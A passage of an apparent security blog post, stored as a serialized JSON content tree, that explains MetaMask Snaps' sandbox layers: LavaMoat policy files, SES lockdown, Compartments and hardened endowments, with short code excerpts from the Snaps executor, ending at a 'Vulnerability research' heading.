"children":34476},{},[34477],{"type":28,"value":34478},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":23,"tag":7092,"props":34480,"children":34482},{"id":34481},"lavamoat-against-supply-chain-attacks-layer-2",[34483],{"type":28,"value":34484},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":23,"tag":24,"props":34486,"children":34487},{},[34488],{"type":28,"value":34489},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":23,"tag":24,"props":34491,"children":34492},{},[34493,34495,34501],{"type":28,"value":34494},"Malicious dependencies might utilize built-in modules like ",{"type":23,"tag":64,"props":34496,"children":34498},{"className":34497},[],[34499],{"type":28,"value":34500},"fs",{"type":28,"value":34502},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":23,"tag":24,"props":34504,"children":34505},{},[34506],{"type":28,"value":34507},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":23,"tag":24,"props":34509,"children":34510},{},[34511,34513,34520],{"type":28,"value":34512},"This is how a Policy file related to the iframes ",{"type":23,"tag":190,"props":34514,"children":34517},{"href":34515,"rel":34516},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[194],[34518],{"type":28,"value":34519},"looks",{"type":28,"value":287},{"type":23,"tag":435,"props":34522,"children":34524},{"className":31512,"code":34523,"language":31514,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[34525],{"type":23,"tag":64,"props":34526,"children":34527},{"__ignoreMap":7},[34528,34541,34553,34573,34593,34613,34633,34653,34673,34693,34710,34718,34730,34750,34766,34773],{"type":23,"tag":481,"props":34529,"children":34530},{"class":483,"line":484},[34531,34536],{"type":23,"tag":481,"props":34532,"children":34533},{"style":1805},[34534],{"type":28,"value":34535},"\"@metamask/post-message-stream\"",{"type":23,"tag":481,"props":34537,"children":34538},{"style":525},[34539],{"type":28,"value":34540},": {\n",{"type":23,"tag":481,"props":34542,"children":34543},{"class":483,"line":351},[34544,34549],{"type":23,"tag":481,"props":34545,"children":34546},{"style":508},[34547],{"type":28,"value":34548}," \"globals\"",{"type":23,"tag":481,"props":34550,"children":34551},{"style":525},[34552],{"type":28,"value":34540},{"type":23,"tag":481,"props":34554,"children":34555},{"class":483,"line":531},[34556,34561,34565,34569],{"type":23,"tag":481,"props":34557,"children":34558},{"style":508},[34559],{"type":28,"value":34560}," \"MessageEvent.prototype\"",{"type":23,"tag":481,"props":34562,"children":34563},{"style":525},[34564],{"type":28,"value":12820},{"type":23,"tag":481,"props":34566,"children":34567},{"style":497},[34568],{"type":28,"value":1539},{"type":23,"tag":481,"props":34570,"children":34571},{"style":525},[34572],{"type":28,"value":1033},{"type":23,"tag":481,"props":34574,"children":34575},{"class":483,"line":567},[34576,34581,34585,34589],{"type":23,"tag":481,"props":34577,"children":34578},{"style":508},[34579],{"type":28,"value":34580}," \"WorkerGlobalScope\"",{"type":23,"tag":481,"props":34582,"children":34583},{"style":525},[34584],{"type":28,"value":12820},{"type":23,"tag":481,"props":34586,"children":34587},{"style":497},[34588],{"type":28,"value":1539},{"type":23,"tag":481,"props":34590,"children":34591},{"style":525},[34592],{"type":28,"value":1033},{"type":23,"tag":481,"props":34594,"children":34595},{"class":483,"line":678},[34596,34601,34605,34609],{"type":23,"tag":481,"props":34597,"children":34598},{"style":508},[34599],{"type":28,"value":34600}," \"addEventListener\"",{"type":23,"tag":481,"props":34602,"children":34603},{"style":525},[34604],{"type":28,"value":12820},{"type":23,"tag":481,"props":34606,"children":34607},{"style":497},[34608],{"type":28,"value":1539},{"type":23,"tag":481,"props":34610,"children":34611},{"style":525},[34612],{"type":28,"value":1033},{"type":23,"tag":481,"props":34614,"children":34615},{"class":483,"line":784},[34616,34621,34625,34629],{"type":23,"tag":481,"props":34617,"children":34618},{"style":508},[34619],{"type":28,"value":34620}," \"browser\"",{"type":23,"tag":481,"props":34622,"children":34623},{"style":525},[34624],{"type":28,"value":12820},{"type":23,"tag":481,"props":34626,"children":34627},{"style":497},[34628],{"type":28,"value":1539},{"type":23,"tag":481,"props":34630,"children":34631},{"style":525},[34632],{"type":28,"value":1033},{"type":23,"tag":481,"props":34634,"children":34635},{"class":483,"line":812},[34636,34641,34645,34649],{"type":23,"tag":481,"props":34637,"children":34638},{"style":508},[34639],{"type":28,"value":34640}," \"chrome\"",{"type":23,"tag":481,"props":34642,"children":34643},{"style":525},[34644],{"type":28,"value":12820},{"type":23,"tag":481,"props":34646,"children":34647},{"style":497},[34648],{"type":28,"value":1539},{"type":23,"tag":481,"props":34650,"children":34651},{"style":525},[34652],{"type":28,"value":1033},{"type":23,"tag":481,"props":34654,"children":34655},{"class":483,"line":825},[34656,34661,34665,34669],{"type":23,"tag":481,"props":34657,"children":34658},{"style":508},[34659],{"type":28,"value":34660}," \"location.origin\"",{"type":23,"tag":481,"props":34662,"children":34663},{"style":525},[34664],{"type":28,"value":12820},{"type":23,"tag":481,"props":34666,"children":34667},{"style":497},[34668],{"type":28,"value":1539},{"type":23,"tag":481,"props":34670,"children":34671},{"style":525},[34672],{"type":28,"value":1033},{"type":23,"tag":481,"props":34674,"children":34675},{"class":483,"line":843},[34676,34681,34685,34689],{"type":23,"tag":481,"props":34677,"children":34678},{"style":508},[34679],{"type":28,"value":34680}," \"postMessage\"",{"type":23,"tag":481,"props":34682,"children":34683},{"style":525},[34684],{"type":28,"value":12820},{"type":23,"tag":481,"props":34686,"children":34687},{"style":497},[34688],{"type":28,"value":1539},{"type":23,"tag":481,"props":34690,"children":34691},{"style":525},[34692],{"type":28,"value":1033},{"type":23,"tag":481,"props":34694,"children":34695},{"class":483,"line":864},[34696,34701,34705],{"type":23,"tag":481,"props":34697,"children":34698},{"style":508},[34699],{"type":28,"value":34700}," \"removeEventListener\"",{"type":23,"tag":481,"props":34702,"children":34703},{"style":525},[34704],{"type":28,"value":12820},{"type":23,"tag":481,"props":34706,"children":34707},{"style":497},[34708],{"type":28,"value":34709},"true\n",{"type":23,"tag":481,"props":34711,"children":34712},{"class":483,"line":873},[34713],{"type":23,"tag":481,"props":34714,"children":34715},{"style":525},[34716],{"type":28,"value":34717}," },\n",{"type":23,"tag":481,"props":34719,"children":34720},{"class":483,"line":1125},[34721,34726],{"type":23,"tag":481,"props":34722,"children":34723},{"style":508},[34724],{"type":28,"value":34725}," \"packages\"",{"type":23,"tag":481,"props":34727,"children":34728},{"style":525},[34729],{"type":28,"value":34540},{"type":23,"tag":481,"props":34731,"children":34732},{"class":483,"line":1142},[34733,34738,34742,34746],{"type":23,"tag":481,"props":34734,"children":34735},{"style":508},[34736],{"type":28,"value":34737}," \"@metamask/post-message-stream>@metamask/utils\"",{"type":23,"tag":481,"props":34739,"children":34740},{"style":525},[34741],{"type":28,"value":12820},{"type":23,"tag":481,"props":34743,"children":34744},{"style":497},[34745],{"type":28,"value":1539},{"type":23,"tag":481,"props":34747,"children":34748},{"style":525},[34749],{"type":28,"value":1033},{"type":23,"tag":481,"props":34751,"children":34752},{"class":483,"line":1159},[34753,34758,34762],{"type":23,"tag":481,"props":34754,"children":34755},{"style":508},[34756],{"type":28,"value":34757}," \"@metamask/post-message-stream>readable-stream\"",{"type":23,"tag":481,"props":34759,"children":34760},{"style":525},[34761],{"type":28,"value":12820},{"type":23,"tag":481,"props":34763,"children":34764},{"style":497},[34765],{"type":28,"value":34709},{"type":23,"tag":481,"props":34767,"children":34768},{"class":483,"line":1172},[34769],{"type":23,"tag":481,"props":34770,"children":34771},{"style":525},[34772],{"type":28,"value":10151},{"type":23,"tag":481,"props":34774,"children":34775},{"class":483,"line":1181},[34776],{"type":23,"tag":481,"props":34777,"children":34778},{"style":525},[34779],{"type":28,"value":879},{"type":23,"tag":24,"props":34781,"children":34782},{},[34783,34785,34791,34793,34799,34801,34807,34809,34815,34816,34822],{"type":28,"value":34784},"One crucial aspect of the policy, apart from the ",{"type":23,"tag":64,"props":34786,"children":34788},{"className":34787},[],[34789],{"type":28,"value":34790},"globals",{"type":28,"value":34792}," section, is the ",{"type":23,"tag":64,"props":34794,"children":34796},{"className":34795},[],[34797],{"type":28,"value":34798},"packages",{"type":28,"value":34800}," segment. This section permits the ",{"type":23,"tag":64,"props":34802,"children":34804},{"className":34803},[],[34805],{"type":28,"value":34806},"@metamask/post-message-stream",{"type":28,"value":34808},"package to exclusively interact with the package ",{"type":23,"tag":64,"props":34810,"children":34812},{"className":34811},[],[34813],{"type":28,"value":34814},"@metamask/utils",{"type":28,"value":8478},{"type":23,"tag":64,"props":34817,"children":34819},{"className":34818},[],[34820],{"type":28,"value":34821},"readable-stream",{"type":28,"value":34823},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":23,"tag":24,"props":34825,"children":34826},{},[34827,34829,34835],{"type":28,"value":34828},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":23,"tag":64,"props":34830,"children":34832},{"className":34831},[],[34833],{"type":28,"value":34834},"lockdown",{"type":28,"value":34836}," function to freeze all javascript builtins prototypes.",{"type":23,"tag":7092,"props":34838,"children":34840},{"id":34839},"secure-ecmascript-ses-sandbox-layer-3",[34841],{"type":28,"value":34842},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":23,"tag":24,"props":34844,"children":34845},{},[34846,34848,34855],{"type":28,"value":34847},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":23,"tag":190,"props":34849,"children":34852},{"href":34850,"rel":34851},"https://github.com/endojs/endo/tree/master/packages/ses",[194],[34853],{"type":28,"value":34854},"Secure EcmaScript (SES)",{"type":28,"value":34856}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":23,"tag":16388,"props":34858,"children":34860},{"id":34859},"ses-fundamentals",[34861],{"type":28,"value":34862},"SES Fundamentals",{"type":23,"tag":34864,"props":34865,"children":34866},"h5",{"id":34834},[34867],{"type":28,"value":34868},"Lockdown",{"type":23,"tag":24,"props":34870,"children":34871},{},[34872,34874,34880],{"type":28,"value":34873},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":23,"tag":64,"props":34875,"children":34877},{"className":34876},[],[34878],{"type":28,"value":34879},"lockdown()",{"type":28,"value":34881}," function, which protects javascript objects against some attacks, mainly:",{"type":23,"tag":73,"props":34883,"children":34884},{},[34885,34898],{"type":23,"tag":77,"props":34886,"children":34887},{},[34888,34890,34896],{"type":28,"value":34889},"Prototype Pollution\nLockdown executes ",{"type":23,"tag":64,"props":34891,"children":34893},{"className":34892},[],[34894],{"type":28,"value":34895},"Object.freeze",{"type":28,"value":34897}," against all javascript builtins prototypes, preventing these attacks.",{"type":23,"tag":77,"props":34899,"children":34900},{},[34901,34903,34909,34911,34917],{"type":28,"value":34902},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":23,"tag":64,"props":34904,"children":34906},{"className":34905},[],[34907],{"type":28,"value":34908},"trace",{"type":28,"value":34910}," attribute in an ",{"type":23,"tag":64,"props":34912,"children":34914},{"className":34913},[],[34915],{"type":28,"value":34916},"Error",{"type":28,"value":34918}," object, which contains the stack trace of the error.",{"type":23,"tag":34864,"props":34920,"children":34922},{"id":34921},"compartment",[34923],{"type":28,"value":34924},"Compartment",{"type":23,"tag":24,"props":34926,"children":34927},{},[34928,34930,34936,34938,34943],{"type":28,"value":34929},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":23,"tag":64,"props":34931,"children":34933},{"className":34932},[],[34934],{"type":28,"value":34935},"globalThis",{"type":28,"value":34937}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":23,"tag":64,"props":34939,"children":34941},{"className":34940},[],[34942],{"type":28,"value":34935},{"type":28,"value":34944}," context is incapable of tampering with security.",{"type":23,"tag":435,"props":34946,"children":34948},{"className":33131,"code":34947,"language":33133,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[34949],{"type":23,"tag":64,"props":34950,"children":34951},{"__ignoreMap":7},[34952,34981,35014],{"type":23,"tag":481,"props":34953,"children":34954},{"class":483,"line":484},[34955,34959,34964,34968,34972,34977],{"type":23,"tag":481,"props":34956,"children":34957},{"style":497},[34958],{"type":28,"value":7139},{"type":23,"tag":481,"props":34960,"children":34961},{"style":508},[34962],{"type":28,"value":34963}," c",{"type":23,"tag":481,"props":34965,"children":34966},{"style":514},[34967],{"type":28,"value":517},{"type":23,"tag":481,"props":34969,"children":34970},{"style":497},[34971],{"type":28,"value":29448},{"type":23,"tag":481,"props":34973,"children":34974},{"style":610},[34975],{"type":28,"value":34976}," Compartment",{"type":23,"tag":481,"props":34978,"children":34979},{"style":525},[34980],{"type":28,"value":1201},{"type":23,"tag":481,"props":34982,"children":34983},{"class":483,"line":351},[34984,34988,34992,34996,35000,35005,35009],{"type":23,"tag":481,"props":34985,"children":34986},{"style":508},[34987],{"type":28,"value":661},{"type":23,"tag":481,"props":34989,"children":34990},{"style":525},[34991],{"type":28,"value":199},{"type":23,"tag":481,"props":34993,"children":34994},{"style":508},[34995],{"type":28,"value":34935},{"type":23,"tag":481,"props":34997,"children":34998},{"style":514},[34999],{"type":28,"value":28937},{"type":23,"tag":481,"props":35001,"children":35002},{"style":508},[35003],{"type":28,"value":35004}," globalThis",{"type":23,"tag":481,"props":35006,"children":35007},{"style":525},[35008],{"type":28,"value":14719},{"type":23,"tag":481,"props":35010,"children":35011},{"style":488},[35012],{"type":28,"value":35013},"// false\n",{"type":23,"tag":481,"props":35015,"children":35016},{"class":483,"line":531},[35017,35021,35025,35029,35033,35038,35042,35047,35051],{"type":23,"tag":481,"props":35018,"children":35019},{"style":508},[35020],{"type":28,"value":661},{"type":23,"tag":481,"props":35022,"children":35023},{"style":525},[35024],{"type":28,"value":199},{"type":23,"tag":481,"props":35026,"children":35027},{"style":508},[35028],{"type":28,"value":34935},{"type":23,"tag":481,"props":35030,"children":35031},{"style":525},[35032],{"type":28,"value":199},{"type":23,"tag":481,"props":35034,"children":35035},{"style":508},[35036],{"type":28,"value":35037},"JSON",{"type":23,"tag":481,"props":35039,"children":35040},{"style":514},[35041],{"type":28,"value":28937},{"type":23,"tag":481,"props":35043,"children":35044},{"style":508},[35045],{"type":28,"value":35046}," JSON",{"type":23,"tag":481,"props":35048,"children":35049},{"style":525},[35050],{"type":28,"value":14719},{"type":23,"tag":481,"props":35052,"children":35053},{"style":488},[35054],{"type":28,"value":35055},"// true\n",{"type":23,"tag":24,"props":35057,"children":35058},{},[35059,35061,35067,35069,35075,35077,35082],{"type":28,"value":35060},"Compartment also changes the behaviour of evaluators functions such as ",{"type":23,"tag":64,"props":35062,"children":35064},{"className":35063},[],[35065],{"type":28,"value":35066},"eval",{"type":28,"value":35068}," and the ",{"type":23,"tag":64,"props":35070,"children":35072},{"className":35071},[],[35073],{"type":28,"value":35074},"Function",{"type":28,"value":35076}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":23,"tag":64,"props":35078,"children":35080},{"className":35079},[],[35081],{"type":28,"value":34935},{"type":28,"value":199},{"type":23,"tag":34864,"props":35084,"children":35086},{"id":35085},"endowments",[35087],{"type":28,"value":35088},"Endowments",{"type":23,"tag":24,"props":35090,"children":35091},{},[35092,35094,35098,35100,35105],{"type":28,"value":35093},"While creating a Compartment, it is possible to specify ",{"type":23,"tag":127,"props":35095,"children":35096},{},[35097],{"type":28,"value":35085},{"type":28,"value":35099},". These endowments constitute objects that become accessible within the Compartment's ",{"type":23,"tag":64,"props":35101,"children":35103},{"className":35102},[],[35104],{"type":28,"value":34935},{"type":28,"value":35106},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":23,"tag":24,"props":35108,"children":35109},{},[35110,35112,35118],{"type":28,"value":35111},"In addition, SES provides the ",{"type":23,"tag":64,"props":35113,"children":35115},{"className":35114},[],[35116],{"type":28,"value":35117},"harden()",{"type":28,"value":35119}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":23,"tag":16388,"props":35121,"children":35123},{"id":35122},"setting-up-snaps-execution-env",[35124],{"type":28,"value":35125},"Setting up Snaps Execution Env",{"type":23,"tag":24,"props":35127,"children":35128},{},[35129],{"type":28,"value":35130},"When starting a snap, the setup follows these steps:",{"type":23,"tag":73,"props":35132,"children":35133},{},[35134],{"type":23,"tag":77,"props":35135,"children":35136},{},[35137],{"type":23,"tag":2875,"props":35138,"children":35139},{},[35140,35142],{"type":28,"value":35141},"Create endowments based on snap ",{"type":23,"tag":190,"props":35143,"children":35146},{"href":35144,"rel":35145},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[194],[35147],{"type":28,"value":35148},"permissions",{"type":23,"tag":435,"props":35150,"children":35152},{"className":33131,"code":35151,"language":33133,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[35153],{"type":23,"tag":64,"props":35154,"children":35155},{"__ignoreMap":7},[35156,35206,35218,35229,35241,35253],{"type":23,"tag":481,"props":35157,"children":35158},{"class":483,"line":484},[35159,35163,35167,35171,35175,35180,35184,35189,35193,35197,35202],{"type":23,"tag":481,"props":35160,"children":35161},{"style":497},[35162],{"type":28,"value":7139},{"type":23,"tag":481,"props":35164,"children":35165},{"style":525},[35166],{"type":28,"value":7069},{"type":23,"tag":481,"props":35168,"children":35169},{"style":508},[35170],{"type":28,"value":35085},{"type":23,"tag":481,"props":35172,"children":35173},{"style":525},[35174],{"type":28,"value":588},{"type":23,"tag":481,"props":35176,"children":35177},{"style":508},[35178],{"type":28,"value":35179},"teardown",{"type":23,"tag":481,"props":35181,"children":35182},{"style":525},[35183],{"type":28,"value":12820},{"type":23,"tag":481,"props":35185,"children":35186},{"style":508},[35187],{"type":28,"value":35188},"endowmentTeardown",{"type":23,"tag":481,"props":35190,"children":35191},{"style":525},[35192],{"type":28,"value":33720},{"type":23,"tag":481,"props":35194,"children":35195},{"style":514},[35196],{"type":28,"value":603},{"type":23,"tag":481,"props":35198,"children":35199},{"style":610},[35200],{"type":28,"value":35201}," createEndowments",{"type":23,"tag":481,"props":35203,"children":35204},{"style":525},[35205],{"type":28,"value":988},{"type":23,"tag":481,"props":35207,"children":35208},{"class":483,"line":351},[35209,35214],{"type":23,"tag":481,"props":35210,"children":35211},{"style":508},[35212],{"type":28,"value":35213}," snap",{"type":23,"tag":481,"props":35215,"children":35216},{"style":525},[35217],{"type":28,"value":1033},{"type":23,"tag":481,"props":35219,"children":35220},{"class":483,"line":531},[35221,35225],{"type":23,"tag":481,"props":35222,"children":35223},{"style":508},[35224],{"type":28,"value":28999},{"type":23,"tag":481,"props":35226,"children":35227},{"style":525},[35228],{"type":28,"value":1033},{"type":23,"tag":481,"props":35230,"children":35231},{"class":483,"line":567},[35232,35237],{"type":23,"tag":481,"props":35233,"children":35234},{"style":508},[35235],{"type":28,"value":35236}," snapId",{"type":23,"tag":481,"props":35238,"children":35239},{"style":525},[35240],{"type":28,"value":1033},{"type":23,"tag":481,"props":35242,"children":35243},{"class":483,"line":678},[35244,35249],{"type":23,"tag":481,"props":35245,"children":35246},{"style":508},[35247],{"type":28,"value":35248}," _endowments",{"type":23,"tag":481,"props":35250,"children":35251},{"style":525},[35252],{"type":28,"value":1033},{"type":23,"tag":481,"props":35254,"children":35255},{"class":483,"line":784},[35256],{"type":23,"tag":481,"props":35257,"children":35258},{"style":525},[35259],{"type":28,"value":1366},{"type":23,"tag":24,"props":35261,"children":35262},{},[35263],{"type":28,"value":35264},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":23,"tag":24,"props":35266,"children":35267},{},[35268,35270,35276,35278,35284],{"type":28,"value":35269},"One clear example is the ",{"type":23,"tag":64,"props":35271,"children":35273},{"className":35272},[],[35274],{"type":28,"value":35275},"endowment:network-access",{"type":28,"value":35277}," permission, that adds the ",{"type":23,"tag":64,"props":35279,"children":35281},{"className":35280},[],[35282],{"type":28,"value":35283},"fetch()",{"type":28,"value":35285}," function to the endowments.",{"type":23,"tag":24,"props":35287,"children":35288},{},[35289,35291,35297],{"type":28,"value":35290},"All endowments are protected with the ",{"type":23,"tag":64,"props":35292,"children":35294},{"className":35293},[],[35295],{"type":28,"value":35296},"harden",{"type":28,"value":35298}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":23,"tag":73,"props":35300,"children":35301},{"start":351},[35302],{"type":23,"tag":77,"props":35303,"children":35304},{},[35305],{"type":23,"tag":2875,"props":35306,"children":35307},{},[35308,35310],{"type":28,"value":35309},"Create the snap ",{"type":23,"tag":190,"props":35311,"children":35314},{"href":35312,"rel":35313},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[194],[35315],{"type":28,"value":34921},{"type":23,"tag":435,"props":35317,"children":35319},{"className":33131,"code":35318,"language":33133,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[35320],{"type":23,"tag":64,"props":35321,"children":35322},{"__ignoreMap":7},[35323,35351,35367,35384,35409],{"type":23,"tag":481,"props":35324,"children":35325},{"class":483,"line":484},[35326,35330,35335,35339,35343,35347],{"type":23,"tag":481,"props":35327,"children":35328},{"style":497},[35329],{"type":28,"value":7139},{"type":23,"tag":481,"props":35331,"children":35332},{"style":508},[35333],{"type":28,"value":35334}," compartment",{"type":23,"tag":481,"props":35336,"children":35337},{"style":514},[35338],{"type":28,"value":517},{"type":23,"tag":481,"props":35340,"children":35341},{"style":497},[35342],{"type":28,"value":29448},{"type":23,"tag":481,"props":35344,"children":35345},{"style":610},[35346],{"type":28,"value":34976},{"type":23,"tag":481,"props":35348,"children":35349},{"style":525},[35350],{"type":28,"value":12629},{"type":23,"tag":481,"props":35352,"children":35353},{"class":483,"line":351},[35354,35359,35363],{"type":23,"tag":481,"props":35355,"children":35356},{"style":514},[35357],{"type":28,"value":35358}," ...",{"type":23,"tag":481,"props":35360,"children":35361},{"style":508},[35362],{"type":28,"value":35085},{"type":23,"tag":481,"props":35364,"children":35365},{"style":525},[35366],{"type":28,"value":1033},{"type":23,"tag":481,"props":35368,"children":35369},{"class":483,"line":531},[35370,35375,35380],{"type":23,"tag":481,"props":35371,"children":35372},{"style":508},[35373],{"type":28,"value":35374}," module:",{"type":23,"tag":481,"props":35376,"children":35377},{"style":508},[35378],{"type":28,"value":35379}," snapModule",{"type":23,"tag":481,"props":35381,"children":35382},{"style":525},[35383],{"type":28,"value":1033},{"type":23,"tag":481,"props":35385,"children":35386},{"class":483,"line":567},[35387,35392,35396,35400,35405],{"type":23,"tag":481,"props":35388,"children":35389},{"style":508},[35390],{"type":28,"value":35391}," exports:",{"type":23,"tag":481,"props":35393,"children":35394},{"style":508},[35395],{"type":28,"value":35379},{"type":23,"tag":481,"props":35397,"children":35398},{"style":525},[35399],{"type":28,"value":199},{"type":23,"tag":481,"props":35401,"children":35402},{"style":508},[35403],{"type":28,"value":35404},"exports",{"type":23,"tag":481,"props":35406,"children":35407},{"style":525},[35408],{"type":28,"value":1033},{"type":23,"tag":481,"props":35410,"children":35411},{"class":483,"line":678},[35412],{"type":23,"tag":481,"props":35413,"children":35414},{"style":525},[35415],{"type":28,"value":32855},{"type":23,"tag":24,"props":35417,"children":35418},{},[35419,35421,35427,35428,35433,35435,35440],{"type":28,"value":35420},"Note: ",{"type":23,"tag":64,"props":35422,"children":35424},{"className":35423},[],[35425],{"type":28,"value":35426},"module",{"type":28,"value":8478},{"type":23,"tag":64,"props":35429,"children":35431},{"className":35430},[],[35432],{"type":28,"value":35404},{"type":28,"value":35434}," are passed as endowments, but without being ",{"type":23,"tag":127,"props":35436,"children":35437},{},[35438],{"type":28,"value":35439},"hardened",{"type":28,"value":35441},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":23,"tag":73,"props":35443,"children":35444},{"start":531},[35445],{"type":23,"tag":77,"props":35446,"children":35447},{},[35448],{"type":23,"tag":2875,"props":35449,"children":35450},{},[35451,35453],{"type":28,"value":35452},"Evaluate the snap code inside the ",{"type":23,"tag":190,"props":35454,"children":35457},{"href":35455,"rel":35456},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[194],[35458],{"type":28,"value":34921},{"type":23,"tag":435,"props":35460,"children":35462},{"className":33131,"code":35461,"language":33133,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[35463],{"type":23,"tag":64,"props":35464,"children":35465},{"__ignoreMap":7},[35466,35507,35537,35574],{"type":23,"tag":481,"props":35467,"children":35468},{"class":483,"line":484},[35469,35473,35477,35481,35486,35490,35494,35499,35503],{"type":23,"tag":481,"props":35470,"children":35471},{"style":535},[35472],{"type":28,"value":30432},{"type":23,"tag":481,"props":35474,"children":35475},{"style":497},[35476],{"type":28,"value":33234},{"type":23,"tag":481,"props":35478,"children":35479},{"style":525},[35480],{"type":28,"value":199},{"type":23,"tag":481,"props":35482,"children":35483},{"style":610},[35484],{"type":28,"value":35485},"executeInSnapContext",{"type":23,"tag":481,"props":35487,"children":35488},{"style":525},[35489],{"type":28,"value":618},{"type":23,"tag":481,"props":35491,"children":35492},{"style":508},[35493],{"type":28,"value":33538},{"type":23,"tag":481,"props":35495,"children":35496},{"style":525},[35497],{"type":28,"value":35498},", () ",{"type":23,"tag":481,"props":35500,"children":35501},{"style":497},[35502],{"type":28,"value":12310},{"type":23,"tag":481,"props":35504,"children":35505},{"style":525},[35506],{"type":28,"value":809},{"type":23,"tag":481,"props":35508,"children":35509},{"class":483,"line":351},[35510,35515,35519,35524,35528,35533],{"type":23,"tag":481,"props":35511,"children":35512},{"style":508},[35513],{"type":28,"value":35514}," compartment",{"type":23,"tag":481,"props":35516,"children":35517},{"style":525},[35518],{"type":28,"value":199},{"type":23,"tag":481,"props":35520,"children":35521},{"style":610},[35522],{"type":28,"value":35523},"evaluate",{"type":23,"tag":481,"props":35525,"children":35526},{"style":525},[35527],{"type":28,"value":618},{"type":23,"tag":481,"props":35529,"children":35530},{"style":508},[35531],{"type":28,"value":35532},"sourceCode",{"type":23,"tag":481,"props":35534,"children":35535},{"style":525},[35536],{"type":28,"value":1366},{"type":23,"tag":481,"props":35538,"children":35539},{"class":483,"line":531},[35540,35544,35548,35553,35557,35561,35565,35570],{"type":23,"tag":481,"props":35541,"children":35542},{"style":497},[35543],{"type":28,"value":33582},{"type":23,"tag":481,"props":35545,"children":35546},{"style":525},[35547],{"type":28,"value":199},{"type":23,"tag":481,"props":35549,"children":35550},{"style":610},[35551],{"type":28,"value":35552},"registerSnapExports",{"type":23,"tag":481,"props":35554,"children":35555},{"style":525},[35556],{"type":28,"value":618},{"type":23,"tag":481,"props":35558,"children":35559},{"style":508},[35560],{"type":28,"value":33538},{"type":23,"tag":481,"props":35562,"children":35563},{"style":525},[35564],{"type":28,"value":588},{"type":23,"tag":481,"props":35566,"children":35567},{"style":508},[35568],{"type":28,"value":35569},"snapModule",{"type":23,"tag":481,"props":35571,"children":35572},{"style":525},[35573],{"type":28,"value":1366},{"type":23,"tag":481,"props":35575,"children":35576},{"class":483,"line":567},[35577],{"type":23,"tag":481,"props":35578,"children":35579},{"style":525},[35580],{"type":28,"value":32855},{"type":23,"tag":24,"props":35582,"children":35583},{},[35584,35586,35592,35593,35599,35600,35606],{"type":28,"value":35585},"According to the documentation, the snap must contain one of the following function exports: ",{"type":23,"tag":64,"props":35587,"children":35589},{"className":35588},[],[35590],{"type":28,"value":35591},"onRpcRequest",{"type":28,"value":588},{"type":23,"tag":64,"props":35594,"children":35596},{"className":35595},[],[35597],{"type":28,"value":35598},"onTransaction",{"type":28,"value":10621},{"type":23,"tag":64,"props":35601,"children":35603},{"className":35602},[],[35604],{"type":28,"value":35605},"onCronjob",{"type":28,"value":199},{"type":23,"tag":24,"props":35608,"children":35609},{},[35610,35612,35617],{"type":28,"value":35611},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":23,"tag":64,"props":35613,"children":35615},{"className":35614},[],[35616],{"type":28,"value":34935},{"type":28,"value":35618}," environment of that Compartment.",{"type":23,"tag":24,"props":35620,"children":35621},{},[35622],{"type":28,"value":35623},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":23,"tag":31,"props":35625,"children":35627},{"id":35626},"vulnerability-research",[35628],{"type":28,"value":35629},"Vulnerability research",{"type":23,"tag":7092,"props":35631,"children":35633},{"id":35632},"possible-attacks",[35634],{"type":28,"value":35635},"Possible 